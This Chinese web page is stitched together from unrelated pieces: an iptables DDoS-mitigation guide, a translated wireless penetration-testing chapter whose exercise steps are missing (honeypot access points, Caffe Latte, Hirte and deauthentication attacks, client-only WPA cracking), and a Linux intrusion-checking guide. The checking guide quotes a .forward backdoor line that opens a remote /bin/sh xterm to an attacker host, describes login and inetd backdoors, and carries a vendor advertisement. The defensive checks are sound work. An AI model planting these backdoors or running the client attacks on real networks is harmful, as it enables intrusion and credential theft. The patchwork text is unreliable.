方法一:先说这个简单效果不大的方法,Linux一般是apache做web服务软件,一般来说按照访问习惯全是设置的80端口。你可以改变一下服务端口,编辑httpd.conf文件,Linux下不清楚路径可以
find / -name httpd.conf
然后
vi $path$/httpd.conf
找到里面的
listen:80
更改为
listen:8080
重新启动apache,这样你的站点就运行在8080端口下了。
方法二:,方法一中攻击者如果对你足够关注的话还是会再攻击你的8080端口,所以还是会死得很惨,那么如何更有效的阻止攻击呢。这就要用到iptables了,安装一下iptables然后再配置一下。
iptables下载:
http://www.netfilter.org/downloads.html
下载文件的名字一般是iptables-1.*.*.tar.bz2
下载完后解压缩
tar -xvjf ./iptables-1.*.*.tar.bz2 -C /usr/src
我是解压到了/usr/src里
然后
cd /usr/src/iptables-1.*.*
安装:
/bin/sh -c make
/bin/sh -c make install
可以用iptables -V来检查安装是否正确。
如果有问题用这个命令修复一下
cp ./iptables /sbin
iptables的使用:
安装了iptables后先关闭ICMP服务
iptables -A OUTPUT -p icmp -d 0/0 -j DROP
这个是做什么的呢,最简单直观的说就是你服务器上的ip不能被ping到了,这个能防止一部分攻击。
比如你跟你的ISP联系了知道了ddos的来源ip 200.200.200.1可以用下面这个命令来阻止来自这个ip的数据流
iptables -A INPUT -s 200.200.200.1 -j DROP
说明:这个命令里200.200.200.1/24 200.200.200.* 格式都是有效的。
执行完后你输入命令
iptables -L
会看到下面的结果
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP all -- 200.200.200.1 anywhere
你每输入一个iptables命令都会有个对应的num号,比如上面你执行的这个是第一次执行的那么这个对应的input id就是1,删除这个限制只要
iptables -D INPUT 1就可以了。
因为在DDOS这个过程里很多ip是伪造的,如果你能找到他们的来源的mac地址(你太厉害了,太有关系了)那么你还可以用这个命令来禁止来自这个mac地址的数据流:
iptables -A INPUT --mac-source 00:0B:AB:45:56:42 -j DROP
以上是几个简单应用,关于一些别的应用我下面给出的英文文献里还有,大家可以根据自己的情况来利用iptables防止DDOS攻击。
多数渗透测试者似乎把全部注意力都放在 WLAN 设施上,而不会注意无线客户端。但是要注意,黑客也可以通过入侵无线客户端来获得授权网络的访问权。
这一章中,我们将注意力从 WLAN 设施转移到无线客户端。客户端可能是连接的,也可能是独立未连接的。我们会看一看以客户端为目标的几种攻击。
通常,当客户端例如笔记本电脑打开时,它会探测之前连接的网络。这些网络储存在列表中,在基于 Windows 的系统上叫做首选网络列表(PNL)。同时,除了这个列表之外,无线客户端会展示任何范围内的可用网络。
黑客可以执行一个或多个下列事情:
这些攻击都叫做蜜罐攻击,因为黑客的接入点和正常的接入点错误连接。
下个练习中,我们会执行这两种攻击。
遵循这些指南来开始:
我们刚刚使用来自客户端的探针列表来创建蜜罐,并使用和邻近接入点相同的 ESSID。在第一个例子中,客户端在搜索网络的时候,自动连接到了我们。第二个例子中,因为我们离客户端比真正的接入点更近,我们的信号强度就更高,所以客户端连接到了我们。
在上一个练习中,如果客户端不自动连接到我们,我们能做什么呢?我们需要发送解除验证封包来打破正常的客户端到接入点的链接,之后如果我们的信号强度更高,客户端会连接到我们的伪造接入点上。通过将客户端连接到正常接入点,之后强迫它连接蜜罐来尝试它。
在蜜罐攻击中,我们注意到客户端会持续探测它们之前连接到的 SSID。如果客户端已经使用 WEP 连接到接入点,例如 Windows 的 *** 作系统会缓存和储存 WEP 密钥。下一个客户端连接到相同接入点时,Windows 无线配置管理器就会自动使用储存的密钥。
Caffe Latte 攻击由 Vivek 发明,它是这本书的作者之一,并且在 Toorcon 9, San Diego, USA 上演示。Caffe Latte 攻击是一种 WEP 攻击,允许黑客仅仅使用客户端,获取授权网络的 WEP 密钥。这个攻击并不需要客户端距离授权 WEP 非常近。它可以从单独的客户端上破解 WEP 密钥。
在下一个练习中,我们将使用 Caffe Latte 攻击从客户端获取网络的 WEP 密钥。
遵循这些指南来开始:
我们成功从无线客户端获得了 WEP 密钥,不需要任何真实的接入点,或者在附近存在。这就是 Caffe Latte 攻击的力量。
基本上,WEP 接入点不需要验证客户端是否知道 WEP 密钥来获得加密后的流量。在连接在新的网络时,流量的第一部分总是会发送给路由器,它是 ARP 请求来询问 IP。
这个攻击的原理是,使用我们创建的伪造接入点反转和重放由无线客户端发送的 ARP 包。这些位反转的 ARP 请求封包导致了无线客户端发送更多 ARP 响应封包。
位反转接收加密值,并将其自改来创建不同的加密值。这里,我们可以接收加密 ARP 请求并创建高精确度的 ARP 响应。一旦我们发回了有效的 ARP 响应,我们可以一次又一次地重放这个值,来生成我们解密 WEP 密钥所需的流量。
要注意,所有这些封包都是用储存在客户端的 WEP 密钥加密。一旦我们得到了大量的这类封包, aircrack-NG 就能够轻易恢复出 WEP 密钥。
尝试修改 WEP 密钥并且重放攻击。这是个有难度的攻击,并且需要一些练习来成功实施。使用 Wireshark 检验无线网络上的流量是个好主意。
我们已经在之前的章节中看到了接入点上下文中的解除验证攻击,这一章中,我们会在客户端上下文中探索这种攻击。
下一个实验中,我们会发送解除验证封包给客户端并且破坏已经建立的接入点和客户端之间的连接。
遵循这些指南来开始:
我们刚刚看到了如何使用解除验证帧,选项性断开无线客户端到接入点的连接,即使使用了 WEP/WPA/WPA2 加密方式。这仅仅通过发送解除验证封包给接入点来完成 -- 客户端偶对,而不是发送广播解除验证封包给整个网络。
在上一个练习中,我们使用了解除验证攻击来破解连接。尝试使用解除关联访问来破坏客户端和接入点之间的连接。
我们已经看到了如何实施 Caffe Latte 攻击。Hirte 攻击扩展自 Caffe Latte 攻击,使用脆片机制并允许几乎任何封包的使用。
Hirte 攻击的更多信息请见 Aircrack-ng 的官网: http:// www.aircrack-ng.org/doku.php?id=hirte 。
我们现在使用 aircrack-ng 来在相同客户端上实施 Hirte 攻击。
遵循这些指南来开始:
我们对 WEP 客户端实施了 Hirte 攻击,客户端是隔离的,并远离授权网络。我们使用和 Caffe Latte 攻击相同的方式来破解密钥。
我们推荐你在客户端上设置不同的 WEP 密钥并多次尝试这个练习来获得自信。你可能会注意你需要多次重新连接客户端来使其生效。
在第四章中,我们看到了如何使用 airecrack-ng 来破解 WPA/WPA2 PSK,基本原理是捕获四次 WPA 握手,之后加载字典攻击。
关键问题是:可不可以仅仅使用客户端来破解 WPA,在没有接入点的情况下?
让我们再看一看 WPA 破解练习:
为了破解 WPA,我们需要来自四次握手的四个参数 -- 验证方的 Nounce,请求方的 Nounce,验证方的 MAC,请求方的 MAC。现在有趣的是,我们不需要握手中的全部四个封包来提取这些信息。我们可以只从封包 1 和 2,或 2 和 3 中提取。
为了破解 WPA-PSK,我们需要启动 WPA-PSK 蜜罐,并且当客户端连接时,只有消息 1 和 2 会发送。由于我们并不知道口令,我们就不能发送消息 3。但是,消息 1 和 2 包含所有密钥破解所需的信息:
我们能够只通过客户端破解 WPA。这是因为,即使只拥有前两个封包,我们也能获得针对握手的字典攻击的全部所需信息。
我们推荐你在客户端设置不同的 WPA 密钥,并且多次尝试这个练习来蝴蝶自信。你会注意到你需要多次重新连接客户端来使其生效。
Q1 Caffe Latte 攻击涉及到哪种加密?
Q2 蜜罐接入点通常使用哪种加密?
Q3 下列哪个攻击是 DoS 攻击?
Q4 Caffe Latte 攻击需要什么?
这一章中,我们了解了甚至是无线客户端也容易受到攻击。这包括蜜罐和其它错误关联攻击。Caffe Latte 攻击用于从无线客户端获得密钥;解除验证和解除关联攻击导致拒绝服务;Hirte 攻击是从漫游客户端获得 WEP 密钥的替代方案;最后,我们仅仅使用客户端破解了 WPA 个人口令。
下一章中,我们会使用目前为止学到的东西,在客户端和设施端实施多种高级无线攻击。所以,赶紧翻过这一页,进入下一章吧!
1、检查系统密码文件
首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。
检查一下passwd文件中有哪些特权用户,系统中uid为0的用户都会被显示出来。
1
awk –F:’==0 {print }’ /etc/passwd
顺便再检查一下系统里有没有空口令帐户:
1
awk –F: ‘length()==0 {print }’ /etc/shadow
2、查看一下进程,看看有没有奇怪的进程
重点查看进程:ps –aef | grep inetd
inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程,着重看inetd –s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。
输入ps –aef 查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill –9 pid 开杀死该进程,然后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东J
UNIX下隐藏进程有的时候通过替换ps文件来做,检测这种方法涉及到检查文件完整性,稍后我们再讨论这种方法。
接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。
3、检查系统守护进程
检查/etc/inetd.conf文件,输入:cat /etc/inetd.conf | grep –v “^#”,输出的信息就是你这台机器所开启的远程服务。
一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh 替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。
4、检查网络连接和监听端口
输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接。
输入netstat –rn,查看本机的路由、网关设置是否正确。
输入 ifconfig –a,查看网卡设置。
5、检查系统日志
命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。
在linux下输入ls –al /var/log
在solaris下输入 ls –al /var/adm
检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。
6、检查系统中的core文件
通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} \依据core所在的目录、查询core文件来判断是否有入侵行为。
7、.rhosts和.forward
这是两种比较著名的后门文件,如果想检查你的系统是否被入侵者安装了后门,不妨全局查找这两个文件:
find / -name “.rhosts” –print
find / -name “.forward” –print
在某用户的$HOME下,.rhosts文件中仅包含两个+号是非常危险的,如果你的系统上开了513端口(rlogin端口,和telnet作用相同),那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。
看到这里如果想要深入的做安全加固服务以及安全部署
就必须找专业做服务器的安全公司来处理了国内也就Sine安全和绿盟比较专业提供。
Unix下在.forward文件里放入命令是重新获得访问的常用方法在某一 用户$HOME下的.forward可能设置如下:
\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"
这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序, 很有可能还有问题。在Solaris系统下,如果你运行如下命令:
ln -s /var/mail/luser ~/.forward
然后设置vacation有效,那么/var/mail/luser就会被拷贝到~/.forward,同时会附加"|/usr/bin/vacation me",旧的symlink被移到~/.forward..BACKUP中。
直接删除掉这两个文件也可以。
8、检查系统文件完整性
检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询,国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man rpm来获得更多的格式。
UNIX系统中,/bin/login是被入侵者经常替换作为后门的文件,接下来谈一下login后门 :
UNIX里,Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将允许入侵者进入任何账号,甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问,所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令,使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum 文件名检查该文件的md5签名。它的使用格式如下:md5sum –b 使用二进制方式阅读文件;md5sum –c 逆向检查MD5签名;md5sum –t 使用文本方式阅读文件。
在前面提到过守护进程,对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较,举个简单的例子,如果你开放了telnet服务,守护进程配置文件中就会有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
可以看到它所使用的文件是 /usr/sbin/in.telnetd,检查该文件的完整性,入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。
LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件,检查该文件的完整性,可以直接cat /etc/crontab,仔细阅读该文件有没有被入侵者利用来做其他的事情。
不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦重新启动,这个进程就被杀死了,所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序;这个方法怎么有点象查windows下的trojan?
说到这里,另外提一下,如果在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx .sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell,这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找,然后删除这样的文件。
9、检查内核级后门
如果你的系统被人安装了这种后门,通常都是比较讨厌的,我常常就在想,遇到这种情况还是重新安装系统算了J,言归正传,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动;而solaris下就很多,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。如果系统被加载了后门模块,但是在模块列表/proc/module里又看不到它们,有可能是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录,当然可能这个目录是隐藏的。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)